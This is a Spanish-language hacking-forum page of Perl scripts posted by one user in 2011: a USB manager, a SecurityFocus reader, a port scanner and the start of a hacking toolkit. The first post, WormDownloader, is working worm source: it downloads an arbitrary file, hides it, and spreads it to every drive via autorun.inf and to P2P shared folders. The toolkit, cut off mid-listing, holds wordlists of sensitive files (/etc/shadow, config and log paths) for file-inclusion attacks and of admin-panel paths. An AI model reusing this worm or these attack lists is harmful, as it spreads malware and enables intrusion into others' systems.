elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


  Mostrar Mensajes
Páginas: 1 ... 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 [44] 45 46 47 48 49 50 51 52 53 54 55
431  Programación / Scripting / [Perl] WormDownloader 0.3 en: 3 Diciembre 2011, 16:35 pm
Simple programa que nos sirve para bajar un virus cualquiera de una pagina para despues propagarlo por toda la computarora

Código
  1. #!usr/bin/perl
  2. #WormDownloader 0.3
  3. #Coded By Doddy H
  4.  
  5. use Win32::File;
  6. use Cwd;
  7. use LWP::UserAgent;
  8.  
  9. my $nave = LWP::UserAgent->new;
  10. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  11. $nave->timeout(5);
  12.  
  13. my @rutas = ("C:\\Archivos de programa\\KMD\\My Shared Folder","C:\\Archivos de programa\\Kazaa\\My Shared Folder\\","C:\\Archivos de programa\\KaZaA Lite\\My Shared Folder\\","C:\\Archivos de programa\\Morpheus\\My Shared Folder\\","C:\Archivos de programa\\Grokster\\My Grokster\\","C:\\Archivos de programa\\BearShare\\Shared\\","C:\\Archivos de programa\\Edonkey2000\\Incoming\\","C:\\Archivos de programa\\limewire\\Shared\\","C:\\Documents and Settings\\Administrador\\Configuración local\\Datos de programa\\Ares\\My Shared Folder\\");
  14.  
  15. head();
  16. print "\n\n[+] File to download : ";
  17. chomp(my $down = <stdin>);
  18. print "\n[+] Name to save : ";
  19. chomp(my $name= <stdin>);
  20. print "\n[+] Downloading...\n";
  21. if (download($down,$name)) {
  22. hideit($name,"hide");
  23. print "\n[+] Propagation routine starting\n";
  24. wormear($down,$name);
  25. } else {
  26. print "\n[-] Error downloading\n";
  27. }
  28. print "\n\n[+] Finished\n\n";
  29. copyright();
  30. <stdin>;
  31.  
  32. sub wormear {
  33.  
  34. my($filedown,$name) = @_;
  35.  
  36. my $exe = getcwd()."/".$name;
  37.  
  38. open (AUTORUN,">>autorun.inf");
  39. print AUTORUN "[AutoRun]\n";
  40. print AUTORUN "open = $exe\n";
  41. print AUTORUN "shellexecute=$exe\n";
  42. print AUTORUN "shell\\Auto\\command=$exe\n";
  43. close AUTORUN;
  44.  
  45. for my $dir(65..90) {
  46. Win32::CopyFile($name,chr($dir).":/".$name,0);
  47. Win32::CopyFile("autorun.inf",chr($dir).":/autorun.inf",0);
  48. hideit(chr($dir).":/".$name,"hide");
  49. hideit(chr($dir).":/autorun.inf","hide");
  50. }
  51. unlink("autorun.inf");
  52.  
  53. for my $r(@rutas) {
  54. chomp $r;
  55. if (-d $r) {
  56. Win32::CopyFile($name,$r."/".$name,0);
  57. }}}
  58.  
  59. sub hideit {
  60. if ($_[1] eq "show") {
  61. Win32::File::SetAttributes($_[0],NORMAL);
  62. }
  63. elsif ($_[1] eq "hide") {
  64. Win32::File::SetAttributes($_[0],HIDDEN);
  65. }
  66. else {
  67. #print "error\n";
  68. }
  69. }
  70.  
  71. sub download {
  72. if ($nave->mirror($_[0],$_[1])) {
  73. if (-f $_[1]) {
  74. return true;
  75. }}}
  76.  
  77. sub head {
  78. print "\n\n-- == WormDownloader == --\n";
  79. }
  80.  
  81. sub copyright {
  82. print "\n\n(C) Doddy Hackman 2011\n\n";
  83. exit(1);
  84. }
  85.  
  86. #The End ?
  87.  
432  Programación / Scripting / [Perl] USB Manager 0.2 en: 3 Diciembre 2011, 16:34 pm
Simple manager para usb

Código
  1. #!usr/bin/perl
  2. #USB Manager 0.2
  3. #Coded By Doddy H
  4.  
  5. use Cwd;
  6.  
  7. head();
  8.  
  9. print "\n\n[+] USB : ";
  10. chomp(my $usb=<stdin>);
  11. chdir($usb);
  12. print "\n";
  13. nave:
  14. print "\n".getcwd().">";
  15. chomp(my $rta = <stdin>);
  16. print "\n\n";
  17. if ($rta=~/list/) {
  18. my @files = coleccionar(getcwd());
  19. for(@files) {
  20. if (-f $_) {
  21. print "[File] : ".$_."\n";
  22. } else {
  23. print "[Directory] : ".$_."\n";
  24. }}}
  25. if ($rta=~/show (.*)/) {
  26. my $fu = $1;
  27. chomp $fu;
  28. if (-f $fu or -d $fu) {
  29. hideit($fu,"show");
  30. print "\n\n[+] Attributes changed\n\n";
  31. }
  32. }
  33. if ($rta=~/hide (.*)/) {
  34. my $fua = $1;
  35. chomp $fua;
  36. if (-f $fua or -d $fua) {
  37. hideit($fua,"hide");
  38. print "\n\n[+] Attributes changed\n\n";
  39. }
  40. }
  41. if ($rta=~/cd (.*)/) {
  42. my $dir = $1;
  43. if (chdir($dir)) {
  44. print "\n[+] Directory changed\n";
  45. } else {
  46. print "\n[-] Error\n";
  47. }}
  48. if ($rta=~/del (.*)/) {
  49. my $file = getcwd()."/".$1;
  50. if (-f $file) {
  51. if (unlink($file)) {
  52. print "\n[+] File Deleted\n";
  53. } else {
  54. print "\n[-] Error\n";
  55. }
  56. } else {
  57. if (rmdir($file)) {
  58. print "\n[+] Directory Deleted\n";
  59. } else {
  60. print "\n[-] Error\n";
  61. }}}
  62. if ($rta=~/rename (.*) (.*)/) {
  63. if (rename(getcwd()."/".$1,getcwd()."/".$2)) {
  64. print "\n[+] File Changed\n";
  65. } else {
  66. print "\n[-] Error\n";
  67. }}
  68. if ($rta=~/open (.*)/) {
  69. my $file = $1;
  70. chomp $file;
  71. system($file);
  72. #system(getcwd()."/".$file);
  73. }
  74. if ($rta=~/help/) {
  75. print "\nCommands : help cd list del rename open hide show exit\n\n";
  76. }
  77. if ($rta=~/exit/) {
  78. copyright();
  79. exit(1);
  80. }
  81. print "\n\n";
  82. goto nave;
  83.  
  84. sub coleccionar {
  85. opendir DIR,$_[0];
  86. my @archivos = readdir DIR;
  87. close DIR;
  88. return @archivos;
  89. }
  90.  
  91. sub hideit {
  92. use Win32::File;
  93. if ($_[1] eq "show") {
  94. Win32::File::SetAttributes($_[0],NORMAL);
  95. }
  96. elsif ($_[1] eq "hide") {
  97. Win32::File::SetAttributes($_[0],HIDDEN);
  98. }
  99. else {
  100. print "\n[-] error\n";
  101. }
  102. }
  103.  
  104. sub head {
  105. print "\n\n-- == USB Manager == --\n";
  106. }
  107.  
  108. sub copyright {
  109. print "\n\n(C) Doddy Hackman 2011\n\n";
  110. }
  111.  
  112. # The End ?
  113.  
433  Programación / Scripting / [Perl] SecurityManager 0.3 en: 3 Diciembre 2011, 16:34 pm
Un simple programa para ver las ultimas 5 vulnerabilidades reportadas en securityfocus

Código
  1. #!usr/bin/perl
  2. #SecurityFocus Manager 0.3
  3. #(C) Doddy Hackman 2011
  4. ##ppm install http://www.bribes.org/perl/ppm/HTML-Strip.ppd
  5.  
  6. use LWP::UserAgent;
  7. use HTML::Parser;
  8. use HTML::Strip;
  9.  
  10. my $nave = LWP::UserAgent->new;
  11. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  12. $nave->timeout(5);
  13.  
  14. head();
  15. refrescar();
  16.  
  17. sub refrescar {
  18.  
  19. clean();
  20. head();
  21.  
  22. print "\n\n[+] List of vulnerabilities\n\n\n";
  23.  
  24. my %links = getlinks($code);
  25. my $contador = -1;
  26.  
  27. for my $da(keys %links) {
  28. $contador++;
  29. print "[$contador] : $da\n";
  30. }
  31.  
  32. [1] : Refresh
  33. [2] : Info
  34. [3] : Discussion
  35. [4] : Exploit
  36. [5] : Solution
  37. [6] : References
  38. [7] : Exit
  39.  
  40. );
  41.  
  42. print "\n[Option] : ";
  43. chomp(my $op = <stdin>);
  44.  
  45. if ($op eq 1) {
  46. clean();
  47. refrescar();
  48. }
  49. elsif ($op eq 2) {
  50.  
  51. print "\n[+] Number : ";
  52. chomp(my $se=<stdin>);
  53.  
  54. my $fin = (keys %links)[$se];
  55. my $pro = (values %links)[$se];
  56.  
  57. dar($fin,$pro,"tres");
  58.  
  59. }
  60. elsif($op eq 3) {
  61.  
  62. print "\n[+] Number : ";
  63. chomp(my $se=<stdin>);
  64.  
  65. my $fin = (keys %links)[$se];
  66. my $pro = (values %links)[$se];
  67.  
  68. dar($fin,$pro,"cuatro");
  69.  
  70. }
  71. elsif($op eq 4) {
  72.  
  73. print "\n[+] Number : ";
  74. chomp(my $se=<stdin>);
  75.  
  76. my $fin = (keys %links)[$se];
  77. my $pro = (values %links)[$se];
  78.  
  79. dar($fin,$pro,"cinco");
  80.  
  81. }
  82. elsif ($op eq 5) {
  83.  
  84. print "\n[+] Number : ";
  85. chomp(my $se=<stdin>);
  86.  
  87. my $fin = (keys %links)[$se];
  88. my $pro = (values %links)[$se];
  89.  
  90. dar($fin,$pro,"seis");
  91.  
  92. }
  93. elsif ($op eq 6) {
  94.  
  95. print "\n[+] Number : ";
  96. chomp(my $se=<stdin>);
  97.  
  98. my $fin = (keys %links)[$se];
  99. my $pro = (values %links)[$se];
  100.  
  101. dar($fin,$pro,"siete");
  102.  
  103. }
  104. elsif ($op eq 7) {
  105. copyright();
  106. exit(1);
  107. }
  108. else {
  109. refrescar();
  110. }
  111. }
  112.  
  113. sub dar {
  114.  
  115. my($title,$numero,$op) = @_;
  116.  
  117. print "\n\n[+] Getting data\n\n";
  118.  
  119. if ($op eq "tres") {
  120. $link = "http://www.securityfocus.com/bid/$numero/info";
  121. }
  122. if ($op eq "cuatro") {
  123. $link = "http://www.securityfocus.com/bid/$numero/discuss";
  124. }
  125. if ($op eq "cinco") {
  126. $link = "http://www.securityfocus.com/bid/$numero/exploit";
  127. }
  128. if ($op eq "seis") {
  129. $link = "http://www.securityfocus.com/bid/$numero/solution";
  130. }
  131. if ($op eq "siete") {
  132. $link = "http://www.securityfocus.com/bid/$numero/references";
  133. }
  134.  
  135. my $code = toma($link);
  136.  
  137. if ($code=~/<div id="vulnerability">(.*?)<\/div>/s){
  138. my $code = $1;
  139. chomp $code;
  140. my $uno = HTML::Strip->new(emit_spaces =>1);
  141. my $final = $uno->parse($code);
  142. $final =~ s/^[\t\f ]+|[\t\f ]+$//mg;
  143. $final =~s/$title/ /;
  144. print $final;
  145. }
  146.  
  147. print "\n\n[+] Press any key to continue\n\n";
  148. <stdin>;
  149. refrescar();
  150.  
  151. }
  152.  
  153. sub getlinks {
  154.  
  155. my $code = toma("http://www.securityfocus.com/");
  156.  
  157. my $test = HTML::Parser->new(
  158. start_h => [\&start, "tagname,attr"],
  159. text_h  => [\&text, "dtext"],
  160. );
  161. $test->parse($code);
  162.  
  163. sub start {
  164. my($a,$b) = @_;
  165. my %e = %$b;
  166. unless($a ne "a") {
  167. $d = $e{href};
  168. $c = $a;
  169. }}
  170.  
  171. sub text {
  172. my $title = shift;
  173. chomp $title;
  174. unless($c ne "a") {
  175. if ($d=~/\/bid\/(.*)/) {
  176. my $id = $1;
  177. unless($title=~/www.securityfocus.com/) {
  178. $links{$title} = $id;
  179. }}
  180. $d = "";
  181. }}
  182. return %links;
  183. }
  184.  
  185. sub toma {
  186. return $nave->get($_[0])->content;
  187. }
  188.  
  189. sub repes {
  190. foreach $test(@_) {
  191. push @limpio,$test unless $repe{$test}++;
  192. }
  193. return @limpio;
  194. }
  195.  
  196. sub clean {
  197. #if ($^O =~/Win32/ig) {
  198. system("cls");
  199. #} else {
  200. #system("clear");
  201. #}
  202. }
  203.  
  204. sub head {
  205. print "\n\n-- == SecurityFocus Manager 0.3 == --\n\n";
  206. }
  207.  
  208. sub copyright {
  209. print "\n\n\n(C) Doddy Hackman 2011\n\n";
  210. }
  211.  
  212. #Credits: Thanks to explorer (perlenespanol)
  213. # The End ?
  214.  
  215.  
434  Programación / Scripting / [Perl] ScanPort 0.5 en: 3 Diciembre 2011, 16:33 pm
Simple scanner port en perl

Código
  1. #!usr/bin/perl
  2. #ScanPort 0.5
  3. #Examples
  4. #perl scan.pl -target localhost -option fast
  5. #perl scan.pl -target localhost -option full -parameters 1-100
  6.  
  7. use IO::Socket;
  8. use Getopt::Long;
  9.  
  10. GetOptions(
  11. "-target=s" => \$target,
  12. "-option=s" => \$opcion,
  13. "-parameters=s"=>\$parameters
  14. );
  15.  
  16. head();
  17. unless($target) {
  18. sintax();
  19. } else {
  20. if ($opcion eq "fast") {
  21. scanuno($target);
  22. }
  23. if ($opcion eq "full" and $parameters) {
  24. if($parameters=~/(.*)-(.*)/) {
  25. my $start = $1;
  26. my $end = $2;
  27. scandos($target,$start,$end);
  28. }
  29. }
  30. }
  31.  
  32. copyright();
  33.  
  34. sub scanuno {
  35.  
  36. my %ports = ("21"=>"ftp",
  37. "22"=>"ssh",
  38. "25"=>"smtp",
  39. "80"=>"http",
  40. "110"=>"pop3",
  41. "3306"=>"mysql"
  42. );
  43.  
  44. print "\n[+] Scanning $_[0]\n\n\n";
  45.  
  46. for my $port(keys %ports) {
  47.  
  48. if (new IO::Socket::INET(PeerAddr => $_[0],PeerPort => $port,Proto => "tcp",Timeout  => 0.5)) {
  49. print "[Port] : ".$port." [Service] : ".$ports{$port}."\n";
  50. }
  51. }
  52. print "\n\n[+] Scan Finish\n";
  53. }
  54.  
  55.  
  56. sub scandos {
  57.  
  58. print "\n[+] Scanning $_[0]\n\n\n";
  59.  
  60. for my $port($_[1]..$_[2]) {
  61.  
  62. if (new IO::Socket::INET(PeerAddr => $_[0],PeerPort => $port,Proto => "tcp",Timeout  => 0.5)) {
  63. print "[Port] : $port\n";
  64. }
  65. }
  66. print "\n\n[+] Scan Finish\n";
  67. }
  68.  
  69. sub head {
  70. print "-- == ScanPort 0.5 == --\n\n";
  71. }
  72.  
  73. sub copyright {
  74. print "\n\n(C) Doddy Hackman 2011\n\n";
  75. }
  76.  
  77. sub sintax {
  78. print "\n[+] sintax : $0 -target target -option fast/full -parameters 1-9999\n";
  79. }
  80.  
  81.  
  82. # The End ?
  83.  
435  Programación / Scripting / [Perl] Project Stalker 0.5 en: 3 Diciembre 2011, 16:33 pm
Lo mismo que la version anterior solo se le mejoro el cliente para vulnerabilidades SQLi

Código
  1. #!usr/bin/perl
  2. #Project STALKER 0.5
  3. #Coded By Doddy H
  4. #
  5. #ppm install http://www.bribes.org/perl/ppm/DBI.ppd
  6. #ppm install http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd
  7. #
  8.  
  9. use IO::Socket;
  10. use HTML::LinkExtor;
  11. use LWP::UserAgent;
  12. use Win32::OLE qw(in);
  13. use Win32::Process;
  14. use Net::FTP;
  15. use Cwd;
  16. use URI::Split qw(uri_split);
  17. use MIME::Base64;
  18. use DBI;
  19. use Color::Output;
  20. Color::Output::Init
  21.  
  22.  
  23. my @files =('C:/xampp/htdocs/aca.txt','C:/xampp/htdocs/aca.txt','C:/xampp/htdocs/admin.php','C:/xampp/htdocs/leer.txt','../../../boot.ini','../../../../boot.ini','../../../../../boot.ini','../../../../../../boot.ini','/etc/passwd','/etc/shadow','/etc/shadow~','/etc/hosts','/etc/motd','/etc/apache/apache.conf','/etc/fstab','/etc/apache2/apache2.conf','/etc/apache/httpd.conf','/etc/httpd/conf/httpd.conf','/etc/apache2/httpd.conf','/etc/apache2/sites-available/default','/etc/mysql/my.cnf','/etc/my.cnf','/etc/sysconfig/network-scripts/ifcfg-eth0','/etc/redhat-release','/etc/httpd/conf.d/php.conf','/etc/pam.d/proftpd','/etc/phpmyadmin/config.inc.php','/var/www/config.php','/etc/httpd/logs/error_log','/etc/httpd/logs/error.log','/etc/httpd/logs/access_log','/etc/httpd/logs/access.log','/var/log/apache/error_log','/var/log/apache/error.log','/var/log/apache/access_log','/var/log/apache/access.log','/var/log/apache2/error_log','/var/log/apache2/error.log','/var/log/apache2/access_log','/var/log/apache2/access.log','/var/www/logs/error_log','/var/www/logs/error.log','/var/www/logs/access_log','/var/www/logs/access.log','/usr/local/apache/logs/error_log','/usr/local/apache/logs/error.log','/usr/local/apache/logs/access_log','/usr/local/apache/logs/access.log','/var/log/error_log','/var/log/error.log','/var/log/access_log','/var/log/access.log','/etc/group','/etc/security/group','/etc/security/passwd','/etc/security/user','/etc/security/environ','/etc/security/limits','/usr/lib/security/mkuser.default','/apache/logs/access.log','/apache/logs/error.log','/etc/httpd/logs/acces_log','/etc/httpd/logs/acces.log','/var/log/httpd/access_log','/var/log/httpd/error_log','/apache2/logs/error.log','/apache2/logs/access.log','/logs/error.log','/logs/access.log','/usr/local/apache2/logs/access_log','/usr/local/apache2/logs/access.log','/usr/local/apache2/logs/error_log','/usr/local/apache2/logs/error.log','/var/log/httpd/access.log','/var/log/httpd/error.log','/opt/lampp/logs/access_log','/opt/lampp/logs/error_log','/opt/xampp/logs/access_log','/opt/xampp/logs/error_log','/opt/lampp/logs/access.log','/opt/lampp/logs/error.log','/opt/xampp/logs/access.log','/opt/xampp/logs/error.log','C:\ProgramFiles\ApacheGroup\Apache\logs\access.log','C:\ProgramFiles\ApacheGroup\Apache\logs\error.log','/usr/local/apache/conf/httpd.conf','/usr/local/apache2/conf/httpd.conf','/etc/apache/conf/httpd.conf','/usr/local/etc/apache/conf/httpd.conf','/usr/local/apache/httpd.conf','/usr/local/apache2/httpd.conf','/usr/local/httpd/conf/httpd.conf','/usr/local/etc/apache2/conf/httpd.conf','/usr/local/etc/httpd/conf/httpd.conf','/usr/apache2/conf/httpd.conf','/usr/apache/conf/httpd.conf','/usr/local/apps/apache2/conf/httpd.conf','/usr/local/apps/apache/conf/httpd.conf','/etc/apache2/conf/httpd.conf','/etc/http/conf/httpd.conf','/etc/httpd/httpd.conf','/etc/http/httpd.conf','/etc/httpd.conf','/opt/apache/conf/httpd.conf','/opt/apache2/conf/httpd.conf','/var/www/conf/httpd.conf','/private/etc/httpd/httpd.conf','/private/etc/httpd/httpd.conf.default','/Volumes/webBackup/opt/apache2/conf/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf.default','C:\ProgramFiles\ApacheGroup\Apache\conf\httpd.conf','C:\ProgramFiles\ApacheGroup\Apache2\conf\httpd.conf','C:\ProgramFiles\xampp\apache\conf\httpd.conf','/usr/local/php/httpd.conf.php','/usr/local/php4/httpd.conf.php','/usr/local/php5/httpd.conf.php','/usr/local/php/httpd.conf','/usr/local/php4/httpd.conf','/usr/local/php5/httpd.conf','/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf','/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf','/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf','/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php','/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php','/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php','/usr/local/etc/apache/vhosts.conf','/etc/php.ini','/bin/php.ini','/etc/httpd/php.ini','/usr/lib/php.ini','/usr/lib/php/php.ini','/usr/local/etc/php.ini','/usr/local/lib/php.ini','/usr/local/php/lib/php.ini','/usr/local/php4/lib/php.ini','/usr/local/php5/lib/php.ini','/usr/local/apache/conf/php.ini','/etc/php4.4/fcgi/php.ini','/etc/php4/apache/php.ini','/etc/php4/apache2/php.ini','/etc/php5/apache/php.ini','/etc/php5/apache2/php.ini','/etc/php/php.ini','/etc/php/php4/php.ini','/etc/php/apache/php.ini','/etc/php/apache2/php.ini','/web/conf/php.ini','/usr/local/Zend/etc/php.ini','/opt/xampp/etc/php.ini','/var/local/www/conf/php.ini','/etc/php/cgi/php.ini','/etc/php4/cgi/php.ini','/etc/php5/cgi/php.ini','c:\php5\php.ini','c:\php4\php.ini','c:\php\php.ini','c:\PHP\php.ini','c:\WINDOWS\php.ini','c:\WINNT\php.ini','c:\apache\php\php.ini','c:\xampp\apache\bin\php.ini','c:\NetServer\bin\stable\apache\php.ini','c:\home2\bin\stable\apache\php.ini','c:\home\bin\stable\apache\php.ini','/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini','/usr/local/cpanel/logs','/usr/local/cpanel/logs/stats_log','/usr/local/cpanel/logs/access_log','/usr/local/cpanel/logs/error_log','/usr/local/cpanel/logs/license_log','/usr/local/cpanel/logs/login_log','/var/cpanel/cpanel.config','/var/log/mysql/mysql-bin.log','/var/log/mysql.log','/var/log/mysqlderror.log','/var/log/mysql/mysql.log','/var/log/mysql/mysql-slow.log','/var/mysql.log','/var/lib/mysql/my.cnf','C:\ProgramFiles\MySQL\MySQLServer5.0\data\hostname.err','C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql.log','C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql.err','C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql-bin.log','C:\ProgramFiles\MySQL\data\hostname.err','C:\ProgramFiles\MySQL\data\mysql.log','C:\ProgramFiles\MySQL\data\mysql.err','C:\ProgramFiles\MySQL\data\mysql-bin.log','C:\MySQL\data\hostname.err','C:\MySQL\data\mysql.log','C:\MySQL\data\mysql.err','C:\MySQL\data\mysql-bin.log','C:\ProgramFiles\MySQL\MySQLServer5.0\my.ini','C:\ProgramFiles\MySQL\MySQLServer5.0\my.cnf','C:\ProgramFiles\MySQL\my.ini','C:\ProgramFiles\MySQL\my.cnf','C:\MySQL\my.ini','C:\MySQL\my.cnf','/etc/logrotate.d/proftpd','/www/logs/proftpd.system.log','/var/log/proftpd','/etc/proftp.conf','/etc/protpd/proftpd.conf','/etc/vhcs2/proftpd/proftpd.conf','/etc/proftpd/modules.conf','/var/log/vsftpd.log','/etc/vsftpd.chroot_list','/etc/logrotate.d/vsftpd.log','/etc/vsftpd/vsftpd.conf','/etc/vsftpd.conf','/etc/chrootUsers','/var/log/xferlog','/var/adm/log/xferlog','/etc/wu-ftpd/ftpaccess','/etc/wu-ftpd/ftphosts','/etc/wu-ftpd/ftpusers','/usr/sbin/pure-config.pl','/usr/etc/pure-ftpd.conf','/etc/pure-ftpd/pure-ftpd.conf','/usr/local/etc/pure-ftpd.conf','/usr/local/etc/pureftpd.pdb','/usr/local/pureftpd/etc/pureftpd.pdb','/usr/local/pureftpd/sbin/pure-config.pl','/usr/local/pureftpd/etc/pure-ftpd.conf','/etc/pure-ftpd/pure-ftpd.pdb','/etc/pureftpd.pdb','/etc/pureftpd.passwd','/etc/pure-ftpd/pureftpd.pdb','/var/log/pure-ftpd/pure-ftpd.log','/logs/pure-ftpd.log','/var/log/pureftpd.log','/var/log/ftp-proxy/ftp-proxy.log','/var/log/ftp-proxy','/var/log/ftplog','/etc/logrotate.d/ftp','/etc/ftpchroot','/etc/ftphosts','/var/log/exim_mainlog','/var/log/exim/mainlog','/var/log/maillog','/var/log/exim_paniclog','/var/log/exim/paniclog','/var/log/exim/rejectlog','/var/log/exim_rejectlog');
  24.  
  25. @panels=('admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx'
  26. ,'admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx'
  27. ,'asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx'
  28. ,'asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx'
  29. ,'admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx'
  30. ,'login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx'
  31. ,'administracion/index.asp','administracion/index.aspx','administracion/login.asp'
  32. ,'administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx'
  33. ,'administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php'
  34. ,'admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php'
  35. ,'admin/administrador.php','admin/default.php','administracion/','administracion/index.php'
  36. ,'administracion/login.php','administracion/ingresar.php','administracion/admin.php'
  37. ,'administration/','administration/index.php','administration/login.php'
  38. ,'administrator/index.php','administrator/login.php','administrator/system.php','system/'
  39. ,'system/login.php','admin.php','login.php','administrador.php','administration.php'
  40. ,'administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php'
  41. ,'yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html'
  42. ,'admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html'
  43. ,'admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html'
  44. ,'administrator/','administrator/index.html','administrator/login.html'
  45. ,'administrator/account.html','administrator/account.php','administrator.html','login.html'
  46. ,'modelsearch/login.php','moderator.php','moderator.html','moderator/login.php'
  47. ,'moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/'
  48. ,'account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html'
  49. ,'admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp'
  50. ,'admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp'
  51. ,'admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp'
  52. ,'administrator/login.asp','administrator/account.asp','administrator.asp'
  53. ,'modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp'
  54. ,'account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/'
  55. ,'fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php'
  56. ,'sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp'
  57. ,'ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html'
  58. ,'Server.asp','Server/','wp-admin/','administr8.php','administr8.html'
  59. ,'administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp'
  60. ,'webadmin.html','administratie/','admins/','admins.php','admins.asp'
  61. ,'admins.html','administrivia/','Database_Administration/','WebAdmin/'
  62. ,'useradmin/','sysadmins/','admin1/','system-administration/','administrators/'
  63. ,'pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/'
  64. ,'administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/'
  65. ,'cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/
  66. ','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/
  67. ','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/
  68. ','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/
  69. ','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/'
  70. ,'project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/'
  71. ,'wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/'
  72. ,'Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/'
  73. ,'irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/'
  74. ,'administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/'
  75. ,'Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/'
  76. ,'cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/'
  77. ,'server/','database_administration/','power_user/','system_administration/'
  78. ,'ss_vms_admin_sm/');
  79.  
  80.  
  81. unless (-d "/logs/webs") {
  82. mkdir("logs/",777);
  83. mkdir("logs/webs/",777);
  84. }
  85.  
  86. my $nave = LWP::UserAgent->new;
  87. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  88. $nave->timeout(5);
  89.  
  90. head();
  91.  
  92. getinfo();
  93.  
  94. $SIG{INT} = \&next;
  95.  
  96. while(1) {
  97. cprint "\x037"; #13
  98. menujo();
  99. cprint "\x030";
  100. }
  101.  
  102. sub getinfo {
  103. $so = $^O;
  104. $login = Win32::LoginName();
  105. $domain = Win32::DomainName();
  106. cprint "\x0313"; #13
  107. print "\n\n[SO] : $so [Login] : $login [Group] : $domain\n\n";
  108. cprint "\x030";
  109. }
  110.  
  111.  
  112. sub menujo {
  113. print "\n\n>";
  114. chomp (my $cmd = <stdin>);
  115. print "\n\n";
  116.  
  117. if ($cmd=~/getinfo/ig) {
  118. getinfo();
  119. }
  120. if ($cmd =~/getip (.*)/) {
  121. my $te = $1;
  122. if ($te eq "" or $te eq " ") {
  123. print "\n[+] sintax : getip <host>\n";
  124. }
  125. print "\n[IP] : ".getip($1)."\n";
  126. print "\n";
  127. }
  128.  
  129. elsif ($cmd =~/getlink (.*)/) {
  130. print "[+] Extracting links in the page\n\n\n";
  131. $code = toma($1);
  132. my @re = get_links($code);
  133. for my $url(@re) {
  134. print "[Link] : $url\n";
  135. }
  136. print "\n\n[+] Finish\n";
  137. }
  138.  
  139. elsif ($cmd=~/help/) {
  140. helpme();
  141. }
  142.  
  143. elsif ($cmd=~/getprocess/) {
  144. my %re = getprocess();
  145.  
  146.  
  147. for my $data(keys %re) {
  148. ($proceso,$pid) = ($t=~/(.*):(.*)/ig);
  149. print "[+] Proceso : ".$data."\n";
  150. print "[+] PID : ".$re{$data}."\n\n";
  151. }
  152. }
  153. elsif ($cmd=~/killprocess (.*) (.*)/) {
  154. if (killprocess($1,$2)) {
  155. print "[+] Process $1 closed";
  156. }
  157. }
  158. elsif ($cmd=~/conec (.*) (.*) (.*)/) {
  159. print conectar($1,$2,$3);
  160. }
  161. elsif ($cmd=~/allow (.*)/) {
  162. $re = conectar($1,"80","GET / HTTP/1.0\r\n");
  163. if ($re=~/Allow:(.*)/ig) {
  164. print "[+] Metodos : ".$1."\n";
  165. }}
  166. elsif ($cmd=~/paths (.*)/) {
  167. scanpaths($1);
  168. }
  169. elsif ($cmd=~/encodehex (.*)/) {
  170. print "\n\n[+] ".hex_en($1)."\n\n";
  171. }
  172. elsif ($cmd=~/decodehex (.*)/) {
